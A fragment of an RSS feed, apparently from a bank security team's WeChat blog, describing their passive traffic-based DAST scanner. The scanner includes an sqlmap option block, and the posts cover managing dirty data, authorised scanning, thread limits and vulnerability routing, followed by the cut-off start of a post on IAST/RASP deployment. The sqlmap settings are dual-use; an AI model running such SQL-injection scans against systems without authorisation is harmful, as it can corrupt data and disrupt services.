&#34;Microsoft Yahei&#34; !important;border-width: 1px !important;border-style: solid !important;border-color: rgb(226, 226, 226) !important;"><ol class="list-paddingleft-2" style="padding-top: 10px;padding-bottom: 10px;padding-left: 30px;width: 575.422px;list-style-position: initial;list-style-image: initial;color: transparent;overflow-y: auto;list-style-type: none !important;"><li style="padding-left: 1em;box-sizing: border-box;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;box-sizing: border-box;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">sqliopts </span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span></code></span></span></p></li><li style="padding-left: 1em;box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;box-sizing: border-box;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">{</span></code></span></span></p><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;box-sizing: border-box;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span style="box-sizing: border-box;color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;url&#34;</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> url</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span></code></span></span></p><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;box-sizing: border-box;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span style="box-sizing: border-box;color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;data&#34;</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> postdata</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span></code></span></span></p><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;box-sizing: border-box;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span style="box-sizing: border-box;color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;method&#34;</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> method</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span></code></span></span></p><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;box-sizing: border-box;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span style="box-sizing: border-box;color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;answers&#34;</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;crack=N,dict=N&#34;</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span></code></span></span></p><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;box-sizing: border-box;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span style="box-sizing: border-box;color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;cookie&#34;</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> cookie</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span></code></span></span></p><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;box-sizing: border-box;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span style="box-sizing: border-box;color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;headers&#34;</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> header</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span></code></span></span></p><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;box-sizing: border-box;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span style="box-sizing: border-box;color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;risk&#34;</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">1</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span></code></span></span></p><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;box-sizing: border-box;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span style="box-sizing: border-box;color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;level&#34;</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">1</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span></code></span></span></p><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;box-sizing: border-box;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span style="box-sizing: border-box;color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;agent&#34;</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> UA</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span></code></span></span></p><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;box-sizing: border-box;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span style="box-sizing: border-box;color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;threads&#34;</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">3</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span></code></span></span></p><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;box-sizing: border-box;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span style="box-sizing: border-box;color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;timeout&#34;</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> TIMEOUT</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span></code></span></span></p><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;box-sizing: border-box;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span style="box-sizing: border-box;color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;forceSSL&#34;</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> force_https</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span></code></span></span></p><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;box-sizing: border-box;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span style="box-sizing: border-box;color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;flushSession&#34;</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(102, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">True</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span></code></span></span></p><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;box-sizing: border-box;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span style="box-sizing: border-box;color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;proxy&#34;</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> proxy</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span></code></span></span></p><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;box-sizing: border-box;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span style="box-sizing: border-box;color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;batch&#34;</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(102, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">True</span></code></span></span></p></li><li style="padding-left: 1em;box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;box-sizing: border-box;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">}</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span></code></span></span></p></li></ol></pre><p style="margin-top: 15px;margin-bottom: 15px;box-sizing: border-box;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;"><span style="font-family: Optima-Regular, PingFangTC-light;">对于sqlmap ，因其会发送大量的payload，所以不可避免的在会在测试环境插入大量脏数据，影响测试过程。在银行大量资金交易应用的场景下，影响较大，在项目初期，因未做好控制，被投诉好几次。</span><span style="font-family: Optima-Regular, PingFangTC-light;">对于黑盒扫描，脏数据一定是无法避免的，我们能做的就是尽量少产生脏数据。对于完全不能扫描的业务系统， 使用黑名单屏蔽；</span><span style="font-family: Optima-Regular, PingFangTC-light;">对于其它的业务系统则采用授权扫描方式，并将扫描嵌入到sdlc中提高扫描覆盖率。业务在冒烟测试通过后的某个节点时间须手动触发扫描，授权完成后拉取记录的流量执行扫描，扫描平台自动生成扫描报告，如果没有扫描报告，安全卡点系统则拒绝其上线; 对于其它无版本的系统，则只扫描get请求，</span><span style="font-family: Optima-Regular, PingFangTC-light;">尽可能少产生脏数据。</span><br/></p><section style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;font-family: Optima-Regular, PingFangTC-light;">另一条路则是不使用流量中的身份凭证，通过sso替换请求中的身份，这样对业务的影响则相对可控，但随之而来的问题，则是通过sso登录的安全扫描账号在对应的业务系统里面无数据，会产生漏报，所以需要我们权衡取舍。对于sql注入的扫描，我们这边有一些比较好的思路，基于我行已经大量部署的应用监控平台 cat，抓取服务运行时的堆栈数据，如执行的 sql语句等，然后进行离线分析。（<a target="_blank" href="http://mp.weixin.qq.com/s?__biz=Mzg3NjI1MzU4Mg==&amp;mid=2247483914&amp;idx=1&amp;sn=dc79efebcd760b4f50aa1ab296c55bbe&amp;chksm=cf345aebf843d3fdeaf6ef50192f48b76025d90ac830167edd0d70670ee3104108ae2162cf20&amp;scene=21#wechat_redirect" textvalue="可参考我们之前发的【企业快速实践部署IAST/RASP的一种新思路】" data-itemshowtype="0" tab="innerlink" data-linktype="2">可参考我们之前发的【企业快速实践部署IAST/RASP的一种新思路】</a>）目前我们已经取得初步成就，正考虑逐步淘汰 sqlmap。</section><section style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;font-family: Optima-Regular, PingFangTC-light;">为了应对行内大量的流量处理，我们使用的集群方式，部署多台扫描引擎加快处理速度，但有可能qps过高，导致对方系统宕机，所以需要进行并发控制，我们使用的方式比较简单即控制线程数。</section><h3 style="box-sizing: border-box;margin-top: 2rem;margin-bottom: 0.5rem;font-weight: 700;color: rgb(248, 95, 72);line-height: 1.35;font-size: 20px;text-align: start;white-space: normal;font-family: Menlo, Monaco, &#34;Source Code Pro&#34;, Consolas, Inconsolata, &#34;Ubuntu Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Courier New&#34;, &#34;Droid Sans Mono&#34;, &#34;Hiragino Sans GB&#34;, 微软雅黑, monospace !important;"><span style="color: rgb(255, 169, 0);">0x05. 应用</span></h3><section style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;font-family: Optima-Regular, PingFangTC-light;">自19年中旬进行被动扫描器规划并进入开发，同年10月左右扫描器稳定运行，截至目前累计处理流量 1.5PiB，累计扫描报文40亿＋，发现大量安全漏洞。</section><section style="text-align: center;font-family: Optima-Regular, PingFangTC-light;"><img class="rich_pages js_insertlocalimg" data-ratio="0.496875" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=b90f76ce&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z5pgf5XwNwByIYTaPvuIWgdMwH05OtkZgqyJWcjkTF9X2IU7AcCYXsg6DibQVXrRiaZiajaOrX47nIrg%2F640%3Fwx_fmt%3Dpng"/></section><section style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;font-family: Optima-Regular, PingFangTC-light;">扫描发现的漏洞落地到漏洞管理系统，由漏洞管理系统跟进处理流程。通过对接行内的资产cms、cmdb数据，我们可以由漏洞的ip信息直接定位到开发负责人，并快速通知负责人进行漏洞修复。</section><section style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;font-family: Optima-Regular, PingFangTC-light;">另一方面，我们能做的不仅仅只是扫描。当我们拿到全行的测试流量时，我们可以对流量进行分析，如资产分析，记录全行所有的主机资产信息；接口信息，分析各业务系统使用的组件等。在应急响应时，我们可以快速进行全行的资产扫描，定位风险资产。基于流量的检测手段（DAST）是我们检查工具集中重要的一部分，能做到的不仅仅是应用安全，还有各类安全合规层面的问题，例如是否接入sso，敏感信息是否掩码等等，之后自动将检测结果同步到发版卡点系统，即可做到各应用上线前的安全管控。</section><hr style="box-sizing: border-box;margin-top: 1.5rem;margin-bottom: 1.5rem;border-style: dashed none none;border-top-color: rgb(165, 165, 165);border-right-width: initial;border-right-color: initial;border-left-width: initial;border-left-color: initial;border-bottom-width: initial;border-bottom-color: initial;height: 1px;color: rgb(80, 97, 109);font-size: 15px;text-align: start;white-space: normal;"/><h3 style="box-sizing: border-box;margin-top: 2rem;margin-bottom: 0.5rem;font-weight: 700;color: rgb(248, 95, 72);line-height: 1.35;font-size: 20px;text-align: start;white-space: normal;font-family: Menlo, Monaco, &#34;Source Code Pro&#34;, Consolas, Inconsolata, &#34;Ubuntu Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Courier New&#34;, &#34;Droid Sans Mono&#34;, &#34;Hiragino Sans GB&#34;, 微软雅黑, monospace !important;"><span style="color: rgb(255, 169, 0);">0x06. 总结</span></h3><section style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;font-family: Optima-Regular, PingFangTC-light;">1、目前，被动扫描器已进入稳定运行状态，我们需要做的事就是优化各插件扫描效率，提高插件的准确率。对于行业难度检测的越权漏洞，我们团队目前也有一些不错的点子，同上面 sql 注入的检测原理，基于 cat利用iast技术，记录请求与服务端的堆栈信息进行分析对比，目前正在着手开发。</section><section style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;font-family: Optima-Regular, PingFangTC-light;">2、对于被动扫描器发现的漏洞，如果都需要人工去复测也是一件工程量比较大的量，我们也在考虑如何做到自动复测，在这一点上，唯一的困难就是会话问题，如果大部分网站都支持sso 的话就比较简单，直接内置两套账号密码便可以刷新会话，实现自动复测，但如果 sso 覆盖面比较少，做起来则比较繁琐。同样缺点前面也提到过，有可能安全扫描的账号无业务数据，造成精准度不高。这一点我们也在摸索中，有兴趣的伙伴也可以交流。</section><p style="text-align: center;"><img class="rich_pages" data-ratio="1" data-s="300,640" style="width: 155px;height: 155px;" data-type="png" data-w="600" src="https://wechat2rss.xlab.app/img-proxy/?k=273635d5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z6mekWciaxxbS18R8SS05YW8zsGBbWkKpkZdZczug4j9jRKibfNGBBeLhWIC9tDThjoga1Eje4pkRwQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><br/></p>



<p><a href="2247483950">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=2e17df14&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg3NjI1MzU4Mg%3D%3D%26mid%3D2247483950%26idx%3D1%26sn%3D65a355d82a4a12f82ecc67882464add7%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 13 May 2020 14:15:00 +0800</pubDate>
    </item>
    <item>
      <title>企业快速实践部署IAST/RASP的一种新思路</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg3NjI1MzU4Mg==&amp;mid=2247483914&amp;idx=1&amp;sn=dc79efebcd760b4f50aa1ab296c55bbe</link>
      <description>这里分享我们实践的一个新思路，能有效达到IAST/RASP快速部署的目的。</description>
      <content:encoded><![CDATA[<p>
<span>应用安全团队</span> <span>2020-04-30 10:18</span> <span style="display: inline-block;"></span>
</p>

<p>这里分享我们实践的一个新思路，能有效达到IAST/RASP快速部署的目的。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=eb636315&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F6PBwKvwj1Z4RMwS0mnL5Ky9KcCmYtMSNcbbiadsfxsjDyeP65KPovyUFiaddA2knjwa45V3NS3B9d2RPvCO48QSA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section style="display: none;" data-tools="新媒体管家" data-label="powered by xmt.cn"><br/></section><section style="font-family: Optima-Regular, PingFangTC-light;"><strong><span style="color: rgb(55, 56, 56);font-family: inherit;font-weight: bold;font-size: 15px;">引言：</span></strong><br/></section><section style="box-sizing: border-box;margin-bottom: 10px;line-height: 26px;overflow-wrap: break-word;word-break: break-word;font-family: Optima-Regular, PingFangTC-light;"><span style="box-sizing: border-box;font-weight: 700;font-size: 14px;color: rgb(255, 169, 0);">近两年，百度的OpenRasp在安全业内大火，各大厂的安全团队都在纷纷跟进研究，捣鼓自己的IAST/RASP产品。作为一支有追求的安全团队，自然要推动这类新兴技术在行内落地。但想要大面积覆盖全行应用中，项目的推广、适配、运维方面的挑战都是不小的。这里分享我们实践的一个新思路，能有效的达到快速部署的目的。</span></section><h2 style="box-sizing: border-box;font-weight: bold;line-height: 1.1;color: rgb(55, 56, 56);margin-top: 30px;margin-bottom: 15px;font-size: 18px;font-family: Optima-Regular, PingFangTC-light;"><span style="box-sizing: border-box;font-size: 15px;">0×01挑战</span></h2><section style="box-sizing: border-box;margin-bottom: 10px;line-height: 26px;overflow-wrap: break-word;word-break: break-word;font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;">IAST/RASP的原理这里就不介绍了，其主要优点就是检测精准。技术是好技术，但要在企业中大规模部署，它的缺点也很明显：</span></section><blockquote style="box-sizing: border-box;padding: 10px 20px;margin-top: 0px;margin-bottom: 20px;font-size: 14px;border-left-width: 5px;border-left-color: rgb(238, 238, 238);background-color: rgb(247, 247, 247);"><section style="box-sizing: border-box;margin-bottom: 10px;font-size: 15px;line-height: 26px;overflow-wrap: break-word;word-break: break-word;font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;">要实现大规模部署，我行几千应用系统、几万服务器的适配、测试、部署、维护…这推广、维护工作太重。</span></section><section style="box-sizing: border-box;font-size: 15px;line-height: 26px;overflow-wrap: break-word;word-break: break-word;font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 